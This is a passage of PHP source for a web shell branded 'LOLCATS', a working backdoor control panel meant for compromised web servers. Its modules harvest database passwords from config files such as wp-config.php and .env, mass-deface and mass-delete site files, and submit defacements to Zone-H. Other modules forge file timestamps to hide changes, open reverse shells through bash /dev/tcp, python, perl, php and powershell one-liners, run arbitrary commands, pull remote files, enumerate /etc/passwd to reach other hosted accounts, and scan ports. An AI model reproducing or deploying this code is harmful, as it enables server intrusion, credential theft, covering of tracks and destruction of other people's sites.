" . $perm . ""; } else { return "" . $perm . ""; } } function s() { echo '

'; } function ok() { echo ''; } // config password searcher if ($_1337["id"] == "conf") { s(); $home = $_SERVER['DOCUMENT_ROOT']; $defaultTargetFiles = "wp-config.php configuration.php local.xml settings.inc.php config.php conn.php config.inc.php koneksi.php connect.php connecr.php .env database.php"; echo '
Config Searcher

Configuration file will be saved in a .txt file. You can see all the password lists from this database to use for CPanel, SSH, or other purposes (use responsibly).

'; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['sepconfig']) && isset($_POST['target_files'])) { $outputFilename = basename('lolcatsconfigresult.txt'); $searchDir = $_POST['sepconfig']; $targetFilesInput = $_POST['target_files']; if (empty($searchDir) || !is_dir($searchDir)) { echo "

Invalid or empty directory specified.

"; return; } $targetFiles = array_filter(array_map('trim', explode("\n", $targetFilesInput))); function searchFiles($dir, $targetFiles, &$foundFiles, $maxDepth = 5, $currentDepth = 0) { if ($currentDepth > $maxDepth) { return; } $iterator = new DirectoryIterator($dir); foreach ($iterator as $item) { if ($item->isDot()) { continue; } $path = $item->getPathname(); if ($item->isDir()) { searchFiles($path, $targetFiles, $foundFiles, $maxDepth, $currentDepth + 1); } elseif (in_array($item->getFilename(), $targetFiles)) { $foundFiles[] = $path; } } } $foundFiles = []; searchFiles($searchDir, $targetFiles, $foundFiles); $result = ''; if (!empty($foundFiles)) { foreach ($foundFiles as $file) { $fileSize = filesize($file); $result .= "File found: $file (Size: {$fileSize} bytes)\n"; if ($fileSize > 0) { $content = file_get_contents($file); if ($content !== false) { $result .= "######## Start of $file ########\n"; $result .= $content . "\n"; $result .= "######## End of $file ########\n\n"; } } } } else { $result = "No target files were found.\n"; } if (file_put_contents($outputFilename, $result)) { echo "

Success! The results were saved to $outputFilename

"; } else { echo "

Failed to save the result.

"; } } } // zone h if ($_1337["id"] == "zoneh") { s(); echo '
Zone-H Mass Notify
'; echo "
"; if ($_POST["submit"]) { $domain = explode("\r\n", $_POST["url"]); $nick = $_POST["nick"]; echo "Defacer Onhold: http://www.zone-h.org/archive/notifier=$nick/published=0
"; echo "Defacer Archive: http://www.zone-h.org/archive/notifier=$nick

"; function zoneh($url, $nick) { $ch = curl_init("http://www.zone-h.com/notify/single"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt( $ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send" ); return curl_exec($ch); curl_close($ch); } foreach ($domain as $url) { $zoneh = zoneh($url, $nick); if (preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) { echo "$url -> OK
"; } else { echo "$url -> ERROR!
"; } } } else { echo '
Attacker Name: Domain List:
'; } echo "
"; } // mass deface if ($_1337["id"] == "deface") { function mass_all($dir, $namefile, $contents_sc) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lapet = $dirc . "/" . $namefile; if ($dirb === ".") { file_put_contents($lapet, $contents_sc); } elseif ($dirb === "..") { file_put_contents($lapet, $contents_sc); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "[] $lapet
"; file_put_contents($lapet, $contents_sc); $coek = mass_all($dirc, $namefile, $contents_sc); } } } } } } function mass_onedir($dir, $namefile, $contents_sc) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lapet = $dirc . "/" . $namefile; if ($dirb === ".") { file_put_contents($lapet, $contents_sc); } elseif ($dirb === "..") { file_put_contents($lapet, $contents_sc); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "[] $dirb/$namefile
"; file_put_contents($lapet, $contents_sc); } } } } } } if ($_1337["start"]) { if ($_1337["tipe"] == "mass") { mass_all($_1337["d_dir"], $_1337["d_file"], $_1337["script"]); } elseif ($_1337["tipe"] == "onedir") { mass_onedir($_1337["d_dir"], $_1337["d_file"], $_1337["script"]); } } s(); echo '
Mass Deface
'; echo "
Select Type:
Directory: Filename: Your Script:
"; } // mass change date if ($_1337["id"] == "masschdte") { s(); echo '
Mass Update Modification Date for All File/Dir
'; echo '
Directory:
Modification Date:
'; function massUpdateModDate($dir, $targetType, $modDate, &$changedFiles = []) { $files = scandir($dir); foreach ($files as $file) { if ($file === '.' || $file === '..') { continue; } $fullPath = $dir . DIRECTORY_SEPARATOR . $file; if ( ($targetType === "file" && is_file($fullPath)) || ($targetType === "dir" && is_dir($fullPath)) ) { if (isset($_POST["change"])) { $dateParts = explode(" ", $modDate); $date = date_parse($dateParts[0]); $time = isset($dateParts[1]) ? explode(":", $dateParts[1]) : [0, 0, 0]; $hour = isset($time[0]) ? $time[0] : 0; $minute = isset($time[1]) ? $time[1] : 0; $second = isset($time[2]) ? $time[2] : 0; $timeStamp = mktime($hour, $minute, $second, $date['month'], $date['day'], $date['year']); if (touch($fullPath, $timeStamp)) { $changedFiles[] = $fullPath; } } } if (is_dir($fullPath)) { massUpdateModDate($fullPath, $targetType, $modDate, $changedFiles); } } } if (isset($_POST["change"])) { $dir = $_POST["dir"]; $targetType = $_POST["target_type"]; $modDate = $_POST["modification_date"]; $changedFiles = []; massUpdateModDate($dir, $targetType, $modDate, $changedFiles); if (!empty($changedFiles)) { echo '
'; echo "

Updated Modification Date to $modDate

"; echo ""; echo "
"; } } } // mass chmod all file/dir if ($_1337["id"] == "masschemod") { s(); echo '
Mass Change Permissions (Chmod) All File/Dir
'; echo '
Directory:
Permissions:
'; function massChmod($dir, $targetType, $permission, &$changedFiles = []) { // Scan directory including files starting with '.' $files = scandir($dir); foreach ($files as $file) { // Skip current and parent directory ('.' and '..') if ($file === '.' || $file === '..') { continue; } $fullPath = $dir . DIRECTORY_SEPARATOR . $file; // Check if it's a file or directory and matches the target type if ( ($targetType === "file" && is_file($fullPath)) || ($targetType === "dir" && is_dir($fullPath)) ) { if (isset($_POST["change"])) { if (chmod($fullPath, octdec($permission))) { $changedFiles[] = $fullPath; } } } // Recursively scan subdirectories if (is_dir($fullPath)) { massChmod($fullPath, $targetType, $permission, $changedFiles); } } } if (isset($_POST["change"])) { $dir = $_POST["dir"]; $targetType = $_POST["target_type"]; $permission = $_POST["permission"]; $changedFiles = []; massChmod($dir, $targetType, $permission, $changedFiles); if (!empty($changedFiles)) { echo '
'; echo "

Change Permissions to $permission

"; echo ""; echo "
"; } } } // find file using keyword if ($_1337["id"] == "findkey") { s(); echo '
Find File Using Keyword
'; if ($_SERVER["REQUEST_METHOD"] == "POST") { $keyword = $_POST["keyword"]; $path = isset($_POST["path"]) ? $_POST["path"] : '.'; $extension = $_POST["extension"]; if ($extension === "all") { $files = glob("$path/*"); } else { $files = glob("$path/*$extension"); } $matching_files = []; foreach ($files as $file) { if (is_file($file) && strpos(file_get_contents($file), $keyword) !== false) { $matching_files[] = $file; } } if (!empty($matching_files)) { echo '
Searching '.$keyword.' on '.$extension.' extension.
'; } else { echo '

No matching files found.

'; } } } // find recent files if ($_1337["id"] == "findmtime") { s(); echo '
Find Modified Files
'; function getModifiedFiles($path, $startTime, $endTime) { $files = []; $dirContent = scandir($path); foreach ($dirContent as $item) { if ($item != '.' && $item != '..') { $itemPath = $path . '/' . $item; if (is_dir($itemPath)) { $subDirFiles = getModifiedFiles($itemPath, $startTime, $endTime); $files = array_merge($files, $subDirFiles); } else { $modifiedTime = filemtime($itemPath); if ($modifiedTime >= $startTime && $modifiedTime <= $endTime) { $files[] = $itemPath; } } } } return $files; } $customPath = isset($_POST["custom_path"]) ? $_POST["custom_path"] : getcwd(); if (isset($_POST["scan"])) { $currentDateTime = new DateTime(); $startTime = $currentDateTime->getTimestamp(); $selectedRange = $_POST["time_range"]; switch ($selectedRange) { case "1min": $endTime = $startTime - 60; break; case "1day": $endTime = $startTime - 60 * 60 * 24; break; case "10days": $endTime = $startTime - 60 * 60 * 24 * 10; break; case "1month": $endTime = $startTime - 60 * 60 * 24 * 30; break; default: $endTime = $startTime; } $modifiedFiles = getModifiedFiles($customPath, $endTime, $startTime); echo '
"; } } // mass delete if ($_1337["id"] == "delete") { function mass_delete($dir, $namefile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lapet = $dirc . "/" . $namefile; if ($dirb === "." || $dirb === "..") { continue; } if (is_dir($dirc)) { if (is_writable($dirc)) { if (file_exists($lapet)) { echo "[] $lapet
"; unlink($lapet); } mass_delete($dirc, $namefile); } } } } } if ($_1337["start"]) { mass_delete($_1337["d_dir"], $_1337["d_file"]); } s(); echo '
Mass Delete
'; echo "
Directory: Filename:

"; } // back connect if ($_1337["id"] == "revsh") { s(); echo '
Reverse Shell
'; echo "
IP Address: Port: Reverse Shell using:

"; if(isset($_POST['submit'])){ $backdoor = $_POST['backdoor']; $ip = $_POST['ip']; $port = $_POST['port']; if($backdoor == 1){ $command = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"; }elseif($backdoor == 2){ $command = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip\",$port));os.dup2(s.fileno(),0); subprocess.call([\"/bin/sh\",\"-i\"]);'"; }elseif($backdoor == 3){ $command = "php -r '\$sock=fsockopen(\"$ip\",$port);stream_set_blocking(\$sock, 0);\$cmd=\"/bin/sh -i\";proc_close(proc_open(\$cmd, array(0=>\$sock, 1=>\$sock, 2=>\$sock), \$foo));'"; }elseif($backdoor == 4){ $command = "perl -e 'use Socket;\$i=\"$ip\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"; }elseif($backdoor == 5){ $command = "/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'"; }elseif($backdoor == 6){ $command = 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\'$ip\',$port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()'; } if (function_exists('system')) { system($command); } elseif (function_exists('exec')) { exec($command); } elseif (function_exists('shell_exec')) { shell_exec($command); } elseif (function_exists('passthru')) { passthru($command); } elseif (function_exists('popen')) { $handle = popen($command, 'r'); if ($handle) { while (!feof($handle)) { echo fgets($handle, 4096); } pclose($handle); } } else { proc_open($command, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes); } //tambahan buat backticks echo `$command`; } } // command if ($_1337["id"] == "cmd") { s(); echo '
Command (Use Many Functions!)
'; if (!empty($_POST["cmd"])) { $cmd = exe($_POST["cmd"]); } echo "
"; if (isset($cmd)): echo '
$ ' . htmlspecialchars($_POST["cmd"], ENT_QUOTES, "UTF-8") . "
" . htmlspecialchars($cmd, ENT_QUOTES, "UTF-8") . '
'; elseif ($_SERVER["REQUEST_METHOD"] == "POST"): echo '
No result
'; endif; } // multiple file upload if ($_1337["id"] == "upload") { s(); echo '
Multiple File Upload (From URL + Your Computer)
'; $userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"; if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["url"]) && isset($_POST["output_filename"]) && isset($_POST["method"])) { $url = $_POST["url"]; $outputFilename = $_POST["output_filename"]; $method = $_POST["method"]; $fileUploaded = false; switch ($method) { case 'file_get_contents': $context = stream_context_create([ 'http' => ['header' => "User-Agent: $userAgent"] ]); $file_content = @file_get_contents($url, false, $context); if ($file_content !== false) { $fileUploaded = file_put_contents($outputFilename, $file_content); } break; case 'curl': $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, $userAgent); $data = curl_exec($ch); curl_close($ch); if ($data !== false) { $fileUploaded = file_put_contents($outputFilename, $data); } break; case 'fopen': $readHandle = @fopen($url, 'rb'); $writeHandle = @fopen($outputFilename, 'wb'); if ($readHandle && $writeHandle) { while (!feof($readHandle)) { fwrite($writeHandle, fread($readHandle, 8192)); } $fileUploaded = true; } if ($readHandle) fclose($readHandle); if ($writeHandle) fclose($writeHandle); break; case 'copy': $context = stream_context_create([ 'http' => ['header' => "User-Agent: $userAgent"] ]); $fileUploaded = @copy($url, $outputFilename, $context); break; case 'stream_context': $context = stream_context_create([ 'http' => ['method' => 'GET', 'header' => "User-Agent: $userAgent"] ]); $file_content = @file_get_contents($url, false, $context); if ($file_content !== false) { $fileUploaded = file_put_contents($outputFilename, $file_content); } break; case 'file': $context = stream_context_create([ 'http' => ['header' => "User-Agent: $userAgent"] ]); $file_content = @file($url, false, $context); if ($file_content !== false) { $fileUploaded = file_put_contents($outputFilename, implode("", $file_content)); } break; default: echo "
Invalid method specified.
"; exit; } if ($fileUploaded && filesize($outputFilename) > 0) { echo "
Upload OK!
"; } else { echo "
Failed to download file or file size is 0 byte, try to change methods.
"; } } if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["file"])) { $result = count($_FILES["file"]["name"]); for ($contents = 0; $contents < $result; $contents++) { $namefile = $_FILES["file"]["name"][$contents]; $tmp_name = $_FILES["file"]["tmp_name"][$contents]; $destination = "$path/" . $namefile; $up = false; if ($_FILES["file"]["size"][$contents] > 0) { $up = move_uploaded_file($tmp_name, $destination); } if (!$up || filesize($destination) === 0) { $up = @copy($tmp_name, $destination); if (!$up || filesize($destination) === 0) { $fileContent = @file_get_contents($tmp_name); if ($fileContent !== false) { $up = file_put_contents($destination, $fileContent) !== false; } } } if ($up && filesize($destination) > 0) { $downloadLink = $urlwebsite . str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', realpath(getcwd())) . '/' . basename($namefile); echo "
Upload OK!
"; } else { echo "
Upload FAILED!
"; } } } echo '
'; } // openfile if (isset($_1337["opn"])) { $file = $_1337["opn"]; } // view if ($_1337["action"] == "view") { s(); echo "

: ".basename($file)."
"; } // edit if (isset($_1337["edit_file"])) { $file = "$file"; $contents = $_1337["contents"]; $updt = fopen($file, "w"); $result = fwrite($updt, $contents); fclose($updt); if ($result && filesize($file) > 0) { echo "Edit file OK! " . ok() . ""; } else { $result = file_put_contents($file, $contents); if (!$result) { $tmpFile = tempnam(sys_get_temp_dir(), 'tmp'); file_put_contents($tmpFile, $contents); @copy($tmpFile, $file); if (filesize($file) > 0) { echo "Edit file OK using fallback! " . ok() . ""; } else { echo "Edit file FAIL! " . er() . ""; } } else { echo "Edit file OK using file_put_contents! " . ok() . ""; } } } if ($_1337["action"] == "edit") { s(); echo "

: " .basename($file) ."

"; } //rename folder if ($_1337["action"] == "rename_folder") { if ($_1337["r_d"]) { $r_d = rename( $dir, "" . dirname($dir) . "/" . htmlspecialchars($_1337["r_d"]) . "" ); if ($r_d) { echo "Rename folder OK! ".ok().''; } else { echo "Rename folder FAIL! ".er().''; } } s(); echo "

: ". basename($dir) ."
"; } //rename file if (isset($_1337["r_f"])) { $old = $file; $new = $_1337["new_name"]; rename($new, $old); if (file_exists($new)) { echo ''; } else { if (rename($old, $new)) { echo "Rename file OK! " . ok() . ""; } else { echo "Rename file FAIL! " . er() . ""; } } } if ($_1337["action"] == "rename") { s(); echo "

: ".basename($file)."
"; } // chemod if ($_1337["action"] == "chemod") { s(); function chmodItem($itemPath, $newPermission) { if (is_file($itemPath)){ if (chmod($itemPath, octdec($newPermission))) { return true; } else { return false; } } return false; } function chmodDirectory($dirPath, $newPermission) { $items = scandir($dirPath); foreach ($items as $item) { if ($item != "." && $item != "..") { $itemPath = $dirPath . "/" . $item; if (is_dir($itemPath)) { chmodDirectory($itemPath, $newPermission); } chmodItem($itemPath, $newPermission); } } } $itemToChmod = $_GET["opn"]; $itemPathToChmod = $path . "/" . $itemToChmod; echo "

: " . basename($itemPathToChmod) . "
"; // Check if the form is submitted if (isset($_POST["chemodkan"])) { $newPermission = $_POST["new_permission"]; if (is_dir($itemPathToChmod)) { chmodDirectory($itemPathToChmod, $newPermission); } else { chmodItem($itemPathToChmod, $newPermission); } echo "Change Permission OK! " . ok() . ""; } } // jumping if ($_1337["id"] == "jumping") { s(); $i = 0; echo "
Jumping
"; echo "
";
    ($etc = fopen("/etc/passwd", "r")) or
        die("Can't read /etc/passwd");
    while ($passwd = fgets($etc)) {
        if ($passwd == "" || !$etc) {
            echo "Can't read /etc/passwd";
        } else {
            preg_match_all("/(.*?):x:/", $passwd, $jumpss);
            foreach ($jumpss[1] as $uservaljump) {
                $valuserjumpindir = "/home/$uservaljump/public_html";
                if (is_readable($valuserjumpindir)) {
                    $i++;
                    $jrw = "[ | R] $valuserjumpindir";
                    if (is_writable($valuserjumpindir)) {
                        $jrw = "[ | RW] $valuserjumpindir";
                    }
                    echo $jrw;
                    if (function_exists("posix_getpwuid")) {
                        $domain_jump = file_get_contents("/etc/named.conf");
                        if ($domain_jump == "") {
                            echo " -> [Cannot get domain name]";
                        } else {
                            preg_match_all(
                                "#/var/named/(.*?).db#",
                                $domain_jump,
                                $domjump
                            );
                            foreach ($domjump[1] as $dj) {
                                $valuserjump = posix_getpwuid(
                                    @fileowner("/etc/valiases/$dj")
                                );
                                $valuserjump = $valuserjump["name"];
                                if ($valuserjump == $uservaljump) {
                                    echo " -> [$dj]
"; break; } } } } else { echo "
"; } } } } } if ($i == 0) { } else { echo "
Total " .$i ." Can jumping on this server " .gethostbyname($_SERVER["HTTP_HOST"]) ."!";} echo "
"; } // port scanner if ($_1337["id"] == "portscan") { s(); echo '
Port Scanner
'; echo "
Target IP:
Start Port:
End Port:
"; if (isset($_POST['scan'])) { $target = isset($_POST['target']) ? $_POST['target'] : 'localhost'; $startPort = $_POST['startPort']; $endPort = $_POST['endPort']; echo "
"; } } // change date modified folder if ($_1337["action"] == "chdate_folder") { s(); function changeDate($itemPath, $newDate) { if (is_file($itemPath) || is_dir($itemPath)) { if (touch($itemPath, strtotime($newDate))) { return true; } else { return false; } } return false; } $currentTime = microtime(true); $microseconds = sprintf("%06d", ($currentTime - floor($currentTime)) * 1000000); $dateTimeWithMicroseconds = date("Y-m-d H:i:s.", $currentTime) . $microseconds; $itemToChangeDate = $_GET["opn"]; $itemPathToChangeDate = $path . "/" . $itemToChangeDate; echo "

: " . basename($itemPathToChangeDate) . "
"; if (isset($_POST["chdate_folder"])) { $newDate = $_POST["new_date"]; if (changeDate($itemPathToChangeDate, $newDate)) { echo "Change Date OK! " . ok() . ""; } else { echo "Change Date FAIL! " . er() . ""; } } } // change date modified if ($_1337["action"] == "chdate") { s(); function changeDate($itemPath, $newDate) { if (is_file($itemPath) || is_dir($itemPath)) { if (touch($itemPath, strtotime($newDate))) { return true; } else { return false; } } return false; } $currentTime = microtime(true); $microseconds = sprintf("%06d", ($currentTime - floor($currentTime)) * 1000000); $dateTimeWithMicroseconds = date("Y-m-d H:i:s.", $currentTime) . $microseconds; $itemToChangeDate = $_GET["opn"]; $itemPathToChangeDate = $path . "/" . $itemToChangeDate; echo "

: " . basename($itemPathToChangeDate) . "
"; if (isset($_POST["chdate"])) { $newDate = $_POST["new_date"]; if (changeDate($itemPathToChangeDate, $newDate)) { echo "Change Date OK! " . ok() . ""; } else { echo "Change Date FAIL! " . er() . ""; } } } //delete file if ($_1337["action"] == "delfile") { s(); if ($_1337["yeahx"]) { $delete = unlink($file); if ($delete) { echo "Delete file OK! " . ok() . ""; } else { echo "Delete file FAIL! " . er() . ""; } } echo "

Are you sure to delete : ".basename($file)." ?

No
"; } //delete folder if ($_1337["action"] == "delete_folder") { s(); if ($_1337["yeah"]) { if (is_dir($dir)) { if (is_writable($dir)) { if (deleteDir($dir)) { echo "Delete folder OK! " . ok() . ''; } else { echo "Delete folder FAIL! " . er() . ''; } } else { echo "Delete folder FAIL! " . er() . ''; } } } echo "

Are you sure to delete : ". basename($dir) ." ?

No
"; } if (isset($_1337["filenew"])) { s(); if (isset($_1337["bikin"])) { $name = $_1337["name_file"]; $contents_file = $_1337["contents_file"]; $files = $_FILES["file_upload"]; $path = isset($_1337['path']) ? $_1337['path'] : ''; foreach ($name as $index => $name_file) { $handle = @fopen($name_file, "w"); $create = false; if ($contents_file && strlen($contents_file) > 0) { $create = @fwrite($handle, $contents_file); } else { if (isset($files['tmp_name'][$index]) && $files['size'][$index] > 0) { // Metode move_uploaded_file $create = move_uploaded_file($files['tmp_name'][$index], $name_file); } else { // Metode file_get_contents dan file_put_contents $file_contents = file_get_contents($files['tmp_name'][$index]); $create = file_put_contents($name_file, $file_contents); if (!$create) { // Metode copy $create = copy($files['tmp_name'][$index], $name_file); } } } fclose($handle); } if ($create) { #echo ""; echo "Create file OK! " . ok() . ""; } else { echo "Create file FAIL! " . er() . ""; } } echo "
Filename: Your Script:

"; } if (isset($_1337["dirnew"])) { s(); if (isset($_1337["create"])) { $name = $_1337["name_dir"]; foreach ($name as $name_dir) { $folder = preg_replace( "([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", "", $name_dir ); $fd = @mkdir($folder); } if ($fd) { echo ""; } else { echo "Create dir FAIL! " . er() . ""; } } echo "
Directory name:
"; } echo '
'; foreach ($scand as $dir) { $dt = date("Y-m-d G:i", filemtime("$path/$dir")); if (strlen($dir) > 25) { $_d = substr($dir, 0, 25) . "..."; } else { $_d = $dir; } if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner("$path/$dir")); $downer = $downer["name"]; } else { $downer = fileowner("$path/$dir"); } if (function_exists("posix_getgrgid")) { $dgrp = @posix_getgrgid(filegroup("$path/$dir")); $dgrp = $dgrp["name"]; } else { $dgrp = filegroup("$path/$dir"); } if (!is_dir($path . "/" . $file)) { continue; } $size = filesize($path . "/" . $file) / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . " MB"; } else { $size = $size . " KB"; } if (!is_dir($path . "/" . $dir) || $dir == "." || $dir == "..") { continue; } echo " "; } echo " "; } foreach ($scand as $file) { $ft = date("Y-m-d G:i", filemtime("$path/$file")); if (function_exists("posix_getpwuid")) { $fowner = @posix_getpwuid(fileowner("$path/$file")); $fowner = $fowner["name"]; } else { $fowner = fileowner("$path/$file"); } if (function_exists("posix_getgrgid")) { $fgrp = @posix_getgrgid(filegroup("$path/$file")); $fgrp = $fgrp["name"]; } else { $fgrp = filegroup("$path/$file"); } if (!is_file($path . "/" . $file)) { continue; } if (strlen($file) > 25) { $_f = substr($file, 0, 25) . "...-." . $ext; } else { $_f = $file; } echo " "; } echo ""; } echo "
NAME TYPE LAST MODIFIED SIZE OWNER / GROUP PERMISSIONS ACTION
..
$_d d!r $dt - $downer / $dgrp "; if (is_writable($path . "/" . $dir)) { echo ""; } elseif (!is_readable($path . "/" . $dir)) { echo ""; } echo p($path . "/" . $dir); if (is_writable($path . "/" . $dir) || !is_readable($path . "/" . $dir)) { echo "
$_f f!le $ft ".sz(filesize($file))." $fowner / $fgrp "; if (is_writable($path . "/" . $file)) { echo ""; } elseif (!is_readable($path . "/" . $file)) { echo ""; } echo p($path . "/" . $file); if (is_writable($path . "/" . $file) || !is_readable($path . "/" . $file)) { echo "

© LOLCATS
"; ?>